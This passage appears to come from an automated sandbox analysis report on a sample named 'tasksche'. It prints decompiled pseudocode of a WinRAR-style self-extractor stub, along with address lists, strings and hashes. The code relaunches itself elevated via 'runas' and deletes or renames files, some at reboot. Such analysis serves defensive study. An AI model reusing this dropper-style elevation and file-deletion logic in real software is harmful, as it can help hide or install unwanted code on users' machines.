								__eflags =  *0x441874 - _t303;
								if( *0x441874 == _t303) {
									goto L102;
								}
								__eflags =  *0x441879;
								if( *0x441879 != 0) {
									goto L102;
								}
								_t148 = DialogBoxParamW( *0x4335a4, L"LICENSEDLG", 0, E0040F47B, 0);
								__eflags = _t148;
								if(_t148 != 0) {
									goto L102;
								}
								 *0x44183c = 1;
								L101:
								EndDialog(_t316, _t303);
								L125:
								_t128 = _t303;
								L126:
								goto L127;
							}
						}
					}
					__eflags = _t114 != 1;
					if(_t114 != 1) {
						L7:
						_t128 = 0;
						goto L126;
					}
					_t161 = ( *(_t318 + 0x10) & 0x0000ffff) - 1;
					__eflags = _t161;
					if(_t161 == 0) {
						__eflags =  *0x44ef31;
						if( *0x44ef31 == 0) {
							_t308 = 0x800;
							GetDlgItemTextW(_t316, 0x66, _t318 - 0x2164, 0x800);
							__eflags =  *0x441833;
							if( *0x441833 == 0) {
								__eflags =  *0x441832;
								if( *0x441832 == 0) {
									_t164 = GetDlgItem(_t316, 0x68);
									 *(_t318 + 0xc) = _t164;
									__eflags =  *0x441838;
									if( *0x441838 == 0) {
										SendMessageW(_t164, 0xb1, 0, 0xffffffff);
										SendMessageW( *(_t318 + 0xc), 0xc2, 0, 0x42a73c);
										_t308 = 0x800;
									}
									SetFocus( *(_t318 + 0xc));
									__eflags =  *0x441870;
									if( *0x441870 == 0) {
										E00410B9C(_t318 - 0x1164, _t318 - 0x2164, _t308);
										E0040DD7E(_t318, _t318 - 0x1164, _t308);
										E0040BC16(_t318 - 0x3264, 0x880, E0040C3BF(0xb9), _t318 - 0x1164);
										_t320 = _t320 + 0x10;
										_t175 = _t318 - 0x3264;
									} else {
										_t175 = E0040C3BF(0xba);
									}
									E0040D298(0, _t175); // executed
									__eflags =  *0x441879;
									if( *0x441879 == 0) {
										E0040DA8C(_t316, _t318 - 0x2164); // executed
									}
									 *(_t318 + 0xf) = 0;
									_t178 = E0040935F(0, _t283, _t308, _t318 - 0x2164, 0); // executed
									__eflags = _t178;
									if(_t178 != 0) {
										L38:
										_t180 = E00419C88(_t318 - 0x2164);
										 *(_t318 + 0x13) = _t180;
										__eflags = _t180;
										if(_t180 == 0) {
											_t250 = GetLastError();
											__eflags = _t250 - 5;
											if(_t250 == 5) {
												 *(_t318 + 0xf) = 1;
											}
										}
										__eflags =  *0x441879;
										if( *0x441879 != 0) {
											L47:
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) != 0) {
												_t303 = 1;
												 *0x441834 = 1;
												E004060C9(_t316, 0x67, 0);
												E004060C9(_t316, 0x66, 0);
												SetDlgItemTextW(_t316, 1, E0040C3BF(0xe6)); // executed
												E004060C9(_t316, 0x69, 1);
												SetDlgItemTextW(_t316, 0x65, 0x42a73c); // executed
												_t187 = GetDlgItem(_t316, 0x65);
												 *(_t318 + 0xc) = _t187;
												__eflags = _t187;
												if(_t187 != 0) {
													_t201 = GetWindowLongW(_t187, 0xfffffff0) | 0x00000080;
													__eflags = _t201;
													SetWindowLongW( *(_t318 + 0xc), 0xfffffff0, _t201);
												}
												_push(5);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(2);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(0x439820);
												_push(_t316);
												 *0x44ef31 = 1; // executed
												E0040E2D7(_t283, _t299, __eflags); // executed
												_push(6);
												_push( *0x44184c);
												 *0x44ef31 = 0;
												_push(_t316);
												E0040E857(_t316);
												__eflags =  *0x44183c;
												if( *0x44183c == 0) {
													__eflags =  *0x441838;
													if( *0x441838 == 0) {
														__eflags =  *0x441868;
														if( *0x441868 == 0) {
															_push(4);
															_push( *0x44184c);
															_push(_t316);
															E0040E857(_t316);
														}
													}
												}
												E004060AB(_t316, _t303, _t303);
												 *0x441834 = 0;
												L75:
												__eflags =  *0x441838;
												if( *0x441838 <= 0) {
													goto L101;
												}
												__eflags =  *0x44183c;
												if( *0x44183c != 0) {
													goto L101;
												}
												 *0x441833 = 1;
												SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
												_t195 =  *0x4335ac; // 0x3
												__eflags = _t195 - 9;
												if(_t195 != 9) {
													__eflags = _t195 - 3;
													_t282 = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
													__eflags = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
												} else {
													_t282 = 0xa0;
												}
												_t196 = E0040C3BF(0x96);
												MessageBoxW(_t316, E0040C3BF(_t282), _t196, 0x30); // executed
												goto L125;
											}
											__eflags =  *0x441879;
											if( *0x441879 != 0) {
												 *(_t318 + 0xf) = 0;
											}
											goto L50;
										} else {
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) == 0) {
												L50:
												__eflags =  *(_t318 + 0xf);
												 *(_t318 + 0xf) =  *(_t318 + 0xf) == 0;
												__eflags =  *(_t318 + 0xf);
												if( *(_t318 + 0xf) != 0) {
													L64:
													_push(E0040C3BF(0x9a));
													E0040BC16(_t318 - 0x4664, 0xa00, L"\"%s\"\n%s", _t318 - 0x2164);
													E004062BA(0x4335ac, 1);
													MessageBoxW(_t316, _t318 - 0x4664, E0040C3BF(0x96), 0x30);
													 *0x441838 =  *0x441838 + 1;
													__eflags =  *0x441838;
													L65:
													_push(0);
													L66:
													EndDialog(_t316, ??);
													goto L67;
												}
												GetModuleFileNameW(0, _t318 - 0x1164, 0x800);
												E0040CFFA(0x44387a, _t318 - 0x164, 0x80);
												_push(0x44287a);
												_push(_t318 - 0x164);
												E0040BC16(_t318 - 0x9ca0, 0x230c, L"-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"", _t318 - 0x2164);
												_t320 = _t320 + 0x18;
												 *((intOrPtr*)(_t318 - 0x38)) = _t318 - 0x1164;
												 *(_t318 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t318 - 0x44)) = 0x40;
												 *(_t318 - 0x40) = _t316;
												 *((intOrPtr*)(_t318 - 0x3c)) = L"runas";
												 *((intOrPtr*)(_t318 - 0x34)) = _t318 - 0x9ca0;
												 *((intOrPtr*)(_t318 - 0x30)) = 0x42a664;
												 *(_t318 - 0x2c) = 1;
												 *((intOrPtr*)(_t318 - 0x28)) = 0;
												_t223 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7002, L"winrarsfxmappingfile.tmp");
												 *(_t318 + 0x10) = _t223;
												__eflags = _t223;
												if(_t223 != 0) {
													 *0x43a820 = 0;
													_t235 = GetCommandLineW();
													__eflags = _t235;
													if(_t235 != 0) {
														E00410B9C(0x43a822, _t235, 0x2000);
													}
													E0040D212(0x44387a, 0x43e822, 7);
													E0040D212(0x44387a, 0x43f822, 2);
													E0040D212(0x44387a, 0x440822, 0x10);
													 *(_t318 + 0x14) = MapViewOfFile( *(_t318 + 0x10), 2, 0, 0, 0);
													E0041C290(0, 0x7002, _t316, _t239, 0x43a820, 0x7002);
													_t320 = _t320 + 0xc;
												}
												_t225 = ShellExecuteExW(_t318 - 0x48);
												E0040CFA3(_t318 - 0x164, 0x80);
												E0040CFA3(_t318 - 0x9ca0, 0x230c);
												__eflags = _t225;
												if(_t225 == 0) {
													 *(_t318 + 0xf) = 1;
													goto L61;
												} else {
													WaitForInputIdle( *(_t318 - 0x10), 0x2710);
													_t312 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *( *(_t318 + 0x14));
														if( *( *(_t318 + 0x14)) != 0) {
															break;
														}
														Sleep(0x64);
														_t312 = _t312 + 1;
														__eflags = _t312 - 0x64;
														if(_t312 < 0x64) {
															continue;
														}
														break;
													}
													 *0x441868 =  *(_t318 - 0x10);
													L61:
													__eflags =  *(_t318 + 0x10);
													if( *(_t318 + 0x10) != 0) {
														UnmapViewOfFile( *(_t318 + 0x14));
														CloseHandle( *(_t318 + 0x10));
													}
													__eflags =  *(_t318 + 0xf);
													if( *(_t318 + 0xf) == 0) {
														goto L65;
													} else {
														goto L64;
													}
												}
											}
											E0040BC16(_t318 - 0x1164, _t308, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t320 = _t320 + 0x10;
											E00408786(_t318 - 0x5688);
											 *(_t318 - 4) = 0;
											_t247 = E00408923(_t318 - 0x5688, _t318 - 0x1164, 0x11); // executed
											 *(_t318 + 0x13) = _t247;
											__eflags = _t247;
											if(_t247 == 0) {
												_t249 = GetLastError();
												__eflags = _t249 - 5;
												if(_t249 == 5) {
													 *(_t318 + 0xf) = 1;
												}
											}
											_t42 = _t318 - 4;
											 *_t42 =  *(_t318 - 4) | 0xffffffff;
											__eflags =  *_t42;
											_t283 = _t318 - 0x5688;
											E00408C7D(0, _t318 - 0x5688);
											goto L47;
										}
									} else {
										_t251 = GetLastError();
										__eflags = _t251 - 5;
										if(_t251 == 5) {
											L37:
											 *(_t318 + 0xf) = 1;
											goto L38;
										}
										__eflags = _t251 - 3;
										if(_t251 != 3) {
											goto L38;
										}
										goto L37;
									}
								}
								 *0x44183c = 1;
								_t303 = 1;
								goto L75;
							}
							__eflags =  *0x441832;
							if( *0x441832 != 0) {
								 *0x44183c = 1;
							}
							_push(1);
							goto L66;
						} else {
							__eflags =  *0x44ef30;
							_t256 = _t161 & 0xffffff00 |  *0x44ef30 == 0x00000000;
							__eflags = _t256;
							 *0x44ef30 = _t256;
							SetDlgItemTextW(_t316, 1, E0040C3BF((0 | _t256 != 0x00000000) + 0xe6));
							while(1) {
								__eflags =  *0x44ef30;
								if( *0x44ef30 == 0) {
									break;
								}
								__eflags =  *0x44183c;
								if( *0x44183c != 0) {
									break;
								}
								_t260 = GetMessageW(_t318 - 0x64, 0, 0, 0);
								__eflags = _t260;
								if(_t260 == 0) {
									break;
								} else {
									_t262 = IsDialogMessageW(_t316, _t318 - 0x64);
									__eflags = _t262;
									if(_t262 == 0) {
										TranslateMessage(_t318 - 0x64);
										DispatchMessageW(_t318 - 0x64);
									}
									continue;
								}
							}
							L67:
							_t128 = 1;
							goto L126;
						}
					}
					_t267 = _t161 - 1;
					__eflags = _t267;
					if(_t267 == 0) {
						 *0x44183c = 1;
						__eflags =  *0x441834;
						if( *0x441834 == 0) {
							goto L65;
						}
						__eflags =  *0x441838;
						if( *0x441838 != 0) {
							goto L67;
						} else {
							goto L65;
						}
					}
					__eflags = _t267 == 0x65;
					if(_t267 == 0x65) {
						_t271 = E004050E8(_t316, E0040C3BF(0x64), _t318 - 0x1164); // executed
						__eflags = _t271;
						if(_t271 != 0) {
							SetDlgItemTextW(_t316, 0x66, _t318 - 0x1164); // executed
						}
						goto L67;
					}
					goto L7;
				} else {
					_t128 = 1;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0xc));
					return _t128;
				}
			}

0x0040f58d
0x0040f58d
0x0040f58d
0x0040f592
0x0040f59c
0x0040f5a3
0x0040f5b9
0x0040f5c0
0x0040f5cd
0x0040f5cd
0x0040f5d3
0x0040fc0e
0x0040fc13
0x0040fc19
0x0040fc1f
0x0040fc21
0x0040fc2c
0x0040fc2c
0x0040fc32
0x0040fc37
0x0040fc39
0x0040fc45
0x0040fc45
0x0040fc4c
0x0040fc5a
0x0040fc68
0x0040fc6b
0x0040fc7d
0x0040fc87
0x0040fc8a
0x0040fc8f
0x0040fc96
0x0040fc98
0x0040fc98
0x0040fca2
0x0040fcab
0x0040fcb0
0x0040fcb5
0x0040fcba
0x0040fcbf
0x0040fcc0
0x0040fcc6
0x0040fccb
0x0040fcd1
0x0040fcd3
0x0040fcd5
0x0040fcdb
0x0040fcdc
0x0040fcdc
0x0040fce1
0x0040fce7
0x0040fd17
0x0040fd17
0x0040fce9
0x0040fcf7
0x0040fd02
0x0040fd0a
0x0040fd0d
0x0040fd0d
0x0040fd18
0x0040fd1e
0x0040fdc1
0x0040fdc1
0x0040fdc7
0x0040fe6a
0x0040fe6a
0x0040fe71
0x0040fe77
0x0040fe77
0x0040fe7d
0x0040fe83
0x0040fe89
0x0040fe92
0x0040fe92
0x0040fe97
0x0040fe9c
0x0040fe9e
0x0040fea0
0x0040fea6
0x0040fea8
0x0040fea9
0x0040feaa
0x0040feaf
0x0040feb0
0x0040feb2
0x0040febc
0x0040feb4
0x0040feb4
0x0040feb4
0x0040feb2
0x0040fea6
0x0040fec2
0x0040fec8
0x0040fed7
0x0040fed7
0x00000000
0x0040fec8
0x0040fdcd
0x0040fdd3
0x00000000
0x00000000
0x0040fdd9
0x0040fddf
0x00000000
0x00000000
0x0040fde5
0x0040fdec
0x0040fdf3
0x0040fdf6
0x0040fdf6
0x0040fdf9
0x0040fe03
0x0040fe03
0x0040fe0a
0x0040fe14
0x0040fe20
0x0040fe37
0x00000000
0x0040fe3d
0x0040fe0c
0x0040fe12
0x00000000
0x00000000
0x00000000
0x0040fe12
0x0040fdfb
0x0040fe01
0x00000000
0x00000000
0x00000000
0x0040fe3e
0x0040fe3e
0x0040fe41
0x0040fe41
0x0040fe4a
0x0040fe62
0x0040fe69
0x0040fe69
0x00000000
0x0040fd24
0x0040fd24
0x0040fd25
0x0040fd2b
0x0040fd2c
0x0040fd31
0x0040fd36
0x0040fd38
0x0040fd3a
0x0040fd40
0x0040fd42
0x0040fd54
0x0040fd59
0x0040fd5f
0x0040fd64
0x0040fd40
0x0040fd65
0x0040fd6b
0x0040fdb4
0x0040fdb4
0x0040fdb5
0x0040fdbb
0x0040fdbc
0x00000000
0x0040fd6d
0x0040fd6e
0x0040fd74
0x0040fd7a
0x00000000
0x00000000
0x0040fd7c
0x0040fd82
0x00000000
0x00000000
0x0040fd96
0x0040fd9c
0x0040fd9e
0x00000000
0x00000000
0x0040fda0
0x0040fda7
0x0040fda9
0x0040fedd
0x0040fedd
0x0040fedf
0x00000000
0x0040fedf
0x0040fd6b
0x0040fd1e
0x0040f5d9
0x0040f5da
0x0040f5eb
0x0040f5eb
0x00000000
0x0040f5eb
0x0040f5e0
0x0040f5e0
0x0040f5e1
0x0040f648
0x0040f64e
0x0040f6ce
0x0040f6de
0x0040f6e4
0x0040f6ea
0x0040f702
0x0040f708
0x0040f71c
0x0040f722
0x0040f725
0x0040f72b
0x0040f73c
0x0040f74c
0x0040f74e
0x0040f74e
0x0040f756
0x0040f75c
0x0040f762
0x0040f77f
0x0040f78c
0x0040f7af
0x0040f7b4
0x0040f7b7
0x0040f764
0x0040f769
0x0040f769
0x0040f7bf
0x0040f7c4
0x0040f7ca
0x0040f7d3
0x0040f7d3
0x0040f7e0
0x0040f7e3
0x0040f7e8
0x0040f7ea
0x0040f800
0x0040f807
0x0040f80c
0x0040f80f
0x0040f811
0x0040f813
0x0040f819
0x0040f81c
0x0040f81e
0x0040f81e
0x0040f81c
0x0040f822
0x0040f828
0x0040f892
0x0040f892
0x0040f895
0x0040fab9
0x0040fabb
0x0040fac1
0x0040faca
0x0040fadc
0x0040fae6
0x0040faf3
0x0040fafc
0x0040fb02
0x0040fb05
0x0040fb07
0x0040fb12
0x0040fb12
0x0040fb1d
0x0040fb1d
0x0040fb23
0x0040fb25
0x0040fb2b
0x0040fb2c
0x0040fb31
0x0040fb33
0x0040fb39
0x0040fb3a
0x0040fb3f
0x0040fb44
0x0040fb45
0x0040fb4c
0x0040fb51
0x0040fb53
0x0040fb59
0x0040fb5f
0x0040fb60
0x0040fb65
0x0040fb6b
0x0040fb6d
0x0040fb73
0x0040fb75
0x0040fb7b
0x0040fb7d
0x0040fb7f
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb7b
0x0040fb73
0x0040fb8e
0x0040fb93
0x0040fb99
0x0040fb99
0x0040fb9f
0x00000000
0x00000000
0x0040fba5
0x0040fbab
0x00000000
0x00000000
0x0040fbb6
0x0040fbc5
0x0040fbcb
0x0040fbd0
0x0040fbd3
0x0040fbde
0x0040fbe8
0x0040fbe8
0x0040fbd5
0x0040fbd5
0x0040fbd5
0x0040fbf5
0x0040fc03
0x00000000
0x0040fc03
0x0040f89b
0x0040f8a1
0x0040f8a3
0x0040f8a3
0x00000000
0x0040f82a
0x0040f82a
0x0040f82d
0x0040f8a6
0x0040f8a6
0x0040f8a9
0x0040f8ad
0x0040f8b0
0x0040fa4c
0x0040fa56
0x0040fa6f
0x0040fa7e
0x0040fa98
0x0040fa9e
0x0040fa9e
0x0040faa4
0x0040faa4
0x0040faa5
0x0040faa6
0x00000000
0x0040faa6
0x0040f8c3
0x0040f8da
0x0040f8df
0x0040f8ea
0x0040f903
0x0040f908
0x0040f922
0x0040f92e
0x0040f935
0x0040f93c
0x0040f93f
0x0040f946
0x0040f949
0x0040f950
0x0040f957
0x0040f95a
0x0040f960
0x0040f963
0x0040f965
0x0040f967
0x0040f96d
0x0040f973
0x0040f975
0x0040f982
0x0040f982
0x0040f98e
0x0040f99a
0x0040f9a6
0x0040f9c0
0x0040f9c3
0x0040f9c8
0x0040f9c8
0x0040f9cf
0x0040f9e3
0x0040f9f4
0x0040f9f9
0x0040f9fb
0x0040fa2c
0x00000000
0x0040f9fd
0x0040fa05
0x0040fa0b
0x0040fa0b
0x0040fa0d
0x0040fa10
0x0040fa12
0x00000000
0x00000000
0x0040fa16
0x0040fa1c
0x0040fa1d
0x0040fa20
0x00000000
0x00000000
0x00000000
0x0040fa20
0x0040fa25
0x0040fa30
0x0040fa30
0x0040fa33
0x0040fa38
0x0040fa41
0x0040fa41
0x0040fa47
0x0040fa4a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa4a
0x0040f9fb
0x0040f843
0x0040f848
0x0040f851
0x0040f865
0x0040f868
0x0040f86d
0x0040f870
0x0040f872
0x0040f874
0x0040f87a
0x0040f87d
0x0040f87f
0x0040f87f
0x0040f87d
0x0040f883
0x0040f883
0x0040f883
0x0040f887
0x0040f88d
0x00000000
0x0040f88d
0x0040f7ec
0x0040f7ec
0x0040f7f2
0x0040f7f5
0x0040f7fc
0x0040f7fc
0x00000000
0x0040f7fc
0x0040f7f7
0x0040f7fa
0x00000000
0x00000000
0x00000000
0x0040f7fa
0x0040f7ea
0x0040f70c
0x0040f713
0x00000000
0x0040f713
0x0040f6ec
0x0040f6f2
0x0040f6f4
0x0040f6f4
0x0040f6fb
0x00000000
0x0040f650
0x0040f650
0x0040f656
0x0040f65b
0x0040f660
0x0040f675
0x0040f6c1
0x0040f6c1
0x0040f6c7
0x0040f6c9
0x0040f6c9
0x0040f67d
0x0040f683
0x00000000
0x00000000
0x0040f690
0x0040f696
0x0040f698
0x00000000
0x0040f69e
0x0040f6a3
0x0040f6a9
0x0040f6ab
0x0040f6b1
0x0040f6bb
0x0040f6bb
0x00000000
0x0040f6ab
0x0040f698
0x0040faac
0x0040faae
0x00000000
0x0040faae
0x0040f64e
0x0040f5e3
0x0040f5e3
0x0040f5e4
0x0040f624
0x0040f62b
0x0040f631
0x00000000
0x00000000
0x0040f637
0x0040f63d
0x00000000
0x0040f643
0x00000000
0x0040f643
0x0040f63d
0x0040f5e6
0x0040f5e9
0x0040f602
0x0040f607
0x0040f609
0x0040f619
0x0040f619
0x00000000
0x0040f609
0x00000000
0x0040f5c2
0x0040f5c4
0x0040fee0
0x0040fee5
0x0040feed
0x0040feed

APIs

__EH_prolog.LIBCMT ref: 0040F592

Strings

__tmp_rar_sfx_access_check_%u, xrefs: 0040F836
winrarsfxmappingfile.tmp, xrefs: 0040F90B
LICENSEDLG, xrefs: 0040FD8B
STARTDLG, xrefs: 0040F5AA
"%s"%s, xrefs: 0040FA5E
<, xrefs: 0040F92E
-el -s2 "-d%s" "-p%s" "-sp%s", xrefs: 0040F8F2
z8D, xrefs: 0040F8D5
@, xrefs: 0040F935

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: "%s"%s$-el -s2 "-d%s" "-p%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$z8D
API String ID: 3519838083-129321368
Opcode ID: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction ID: cc4c1e380d3e9e53cf766c3de9df5bd6880f95cbde9f973ccf433d51db550174
Opcode Fuzzy Hash: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction Fuzzy Hash: C732C371540248BFEB31BF619C85E9B3A68EB06304F44407BF901B61E2DB794999CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E857 Relevance: 73.9, APIs: 35, Strings: 7, Instructions: 411
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E0040E857(void* __esi) {
				intOrPtr _t271;
				void* _t274;
				void* _t349;
				short* _t352;
				void* _t354;

				E0041A4DC(E004297C6, _t354);
				_t271 = E0041AAF0(0x1bc84);
				if( *((intOrPtr*)(_t354 + 0xc)) == 0) {
					L165:
					 *[fs:0x0] =  *((intOrPtr*)(_t354 - 0xc));
					return _t271;
				}
				_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, __esi,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
				 *((intOrPtr*)(_t354 + 0xc)) = _t271;
				if(_t271 != 0) {
					_push(__esi);
					do {
						_t349 = GetFileAttributesW;
						_t336 = _t354 - 0x1bc90;
						_t352 = 0x438818;
						_t274 = _t354 - 0x4440;
						 *(_t354 - 0x10) = _t354 - 0x1bc90;
						 *((intOrPtr*)(_t354 - 0x18)) = 6;
						goto L4;
						L6:
						while(E00411E60(_t354 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t354 - 0x10) * 4))) != 0) {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) + 1;
							if( *(_t354 - 0x10) < 0xe) {
								continue;
							} else {
								goto L163;
							}
						}
						if( *(_t354 - 0x10) > 0xd) {
							goto L163;
						}
						switch( *((intOrPtr*)( *(_t354 - 0x10) * 4 +  &M0040F443))) {
							case 0:
								__eflags =  *((intOrPtr*)(_t354 + 0x10)) - 2;
								if( *((intOrPtr*)(_t354 + 0x10)) != 2) {
									goto L163;
								}
								E00419C9B(_t354 - 0x8c90, 0x800);
								E0040A146(_t354 - 0x8c90, _t354 - 0x4440, _t354 - 0xfc90, 0x800);
								E00409433(_t354 - 0x7c90);
								 *(_t354 - 4) =  *(_t354 - 4) & 0x00000000;
								E0040945C(_t354 - 0x7c90, _t354 - 0xfc90);
								E004067E1(_t354 - 0x5c88);
								_push(0);
								_t292 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
								__eflags = _t292;
								if(_t292 == 0) {
									L27:
									 *(_t354 - 4) =  *(_t354 - 4) | 0xffffffff;
									E00409449(_t354 - 0x7c90);
									goto L163;
								} else {
									_t352 = L"%s.%d.tmp";
									do {
										SetFileAttributesW(_t354 - 0x5c88, 0);
										__eflags =  *((char*)(_t354 - 0x4c7c));
										if(__eflags == 0) {
											L19:
											_t297 = GetFileAttributesW(_t354 - 0x5c88);
											__eflags = _t297 - 0xffffffff;
											if(_t297 == 0xffffffff) {
												goto L26;
											}
											_t301 = DeleteFileW(_t354 - 0x5c88);
											__eflags = _t301;
											if(_t301 != 0) {
												goto L26;
											} else {
												 *(_t354 - 0x10) =  *(_t354 - 0x10) & _t301;
												_push(_t301);
												goto L23;
												L23:
												E0040BC16(_t354 - 0x1040, 0x800, _t352, _t354 - 0x5c88);
												_t356 = _t356 + 0x14;
												_t306 = GetFileAttributesW(_t354 - 0x1040);
												__eflags = _t306 - 0xffffffff;
												if(_t306 != 0xffffffff) {
													_t67 = _t354 - 0x10;
													 *_t67 =  *(_t354 - 0x10) + 1;
													__eflags =  *_t67;
													_push( *(_t354 - 0x10));
													goto L23;
												} else {
													_t309 = MoveFileW(_t354 - 0x5c88, _t354 - 0x1040);
													__eflags = _t309;
													if(_t309 != 0) {
														MoveFileExW(_t354 - 0x1040, 0, 4);
													}
													goto L26;
												}
											}
										}
										E0040AA7D(__eflags, _t354 - 0x8c90, _t354 - 0x1040, 0x800);
										E0040A116(__eflags, _t354 - 0x1040, 0x800);
										_t318 = E0041A7AF(_t354 - 0x8c90);
										 *((intOrPtr*)(_t354 - 0x18)) = _t318;
										__eflags = _t318 - 4;
										if(_t318 < 4) {
											L17:
											_t320 = E0040A0A4(_t354 - 0x4440);
											__eflags = _t320;
											if(_t320 != 0) {
												goto L27;
											}
											L18:
											_t322 = E0041A7AF(_t354 - 0x5c88);
											__eflags = 0;
											 *((short*)(_t354 + _t322 * 2 - 0x5c86)) = 0;
											E0041A820(_t349, _t354 - 0x40, 0, 0x1e);
											_t356 = _t356 + 0x10;
											_push(0x14);
											_pop(_t325);
											 *((short*)(_t354 - 0x30)) = _t325;
											 *((intOrPtr*)(_t354 - 0x38)) = _t354 - 0x5c88;
											 *((intOrPtr*)(_t354 - 0x3c)) = 3;
											SHFileOperationW(_t354 - 0x40);
											goto L19;
										}
										_t330 = E0041A7AF(_t354 - 0x1040);
										__eflags =  *((intOrPtr*)(_t354 - 0x18)) - _t330;
										if( *((intOrPtr*)(_t354 - 0x18)) > _t330) {
											goto L18;
										}
										goto L17;
										L26:
										_push(0);
										_t299 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
										__eflags = _t299;
									} while (_t299 != 0);
									goto L27;
								}
							case 1:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax =  *0x441850;
									__eflags = __eax;
									 *((char*)(__ebp - 0x12)) = __eax == 0;
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__eax = E0041A7C9(__eax, L"<br>");
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags =  *((char*)(__ebp - 0x11));
									if(__eflags == 0) {
										__edi = __ebp + 0xc;
										__edi = E0040D92D(__ebp + 0xc, __eflags);
									} else {
										__edi = __ebp - 0x4440;
									}
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__esi = E0041A7AF( *0x441850);
									} else {
										__esi = 0;
									}
									__eax = E0041A7AF(__edi);
									__eax = __eax + __esi;
									_push(__eax);
									_push( *0x441850);
									__eax = E0041A594(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eflags =  *((char*)(__ebp - 0x12));
									 *0x441850 = __eax;
									if( *((char*)(__ebp - 0x12)) != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E0041A7C9(__eax, __edi);
									__eflags =  *((char*)(__ebp - 0x11));
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										_push(__edi);
										__eax = E0041A506(__ebx, __edi, __esi, __eflags);
										_pop(__ecx);
									}
								}
								goto L163;
							case 2:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
								}
								goto L163;
							case 3:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) != 0) {
									goto L163;
								}
								__eflags =  *0x44187a;
								if( *0x44187a != 0) {
									goto L163;
								}
								__eax = 0;
								__eflags =  *(__ebp - 0x4440) - 0x22;
								__edi = __ebp - 0x4440;
								 *(__ebp - 0x18) = __edi;
								 *(__ebp - 0x1040) = __ax;
								if( *(__ebp - 0x4440) == 0x22) {
									__edi = __ebp - 0x443e;
									 *(__ebp - 0x18) = __edi;
								}
								__eax = E0041A7AF(__edi);
								__eflags = __eax - __ebx;
								if(__eax >= __ebx) {
									goto L163;
								} else {
									__eax = __edi->i & 0x0000ffff;
									__eflags = __ax - 0x2e;
									if(__ax != 0x2e) {
										L52:
										__eflags = __ax - 0x5c;
										if(__ax == 0x5c) {
											L64:
											_push(__edi);
											L65:
											__eax = __ebp - 0x1040;
											_push(__ebp - 0x1040);
											__eax = E0041A7F7();
											L66:
											_pop(__ecx);
											_pop(__ecx);
											L67:
											__eax = __ebp - 0x1040;
											__eax = E0041CA4F(__ebp - 0x1040, 0x22);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((short*)(2 + __eax));
												if( *((short*)(2 + __eax)) == 0) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
											__edi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
											__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
											__eax = __ebp - 0x1040;
											__eax = E0041AA21(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
											}
											goto L163;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
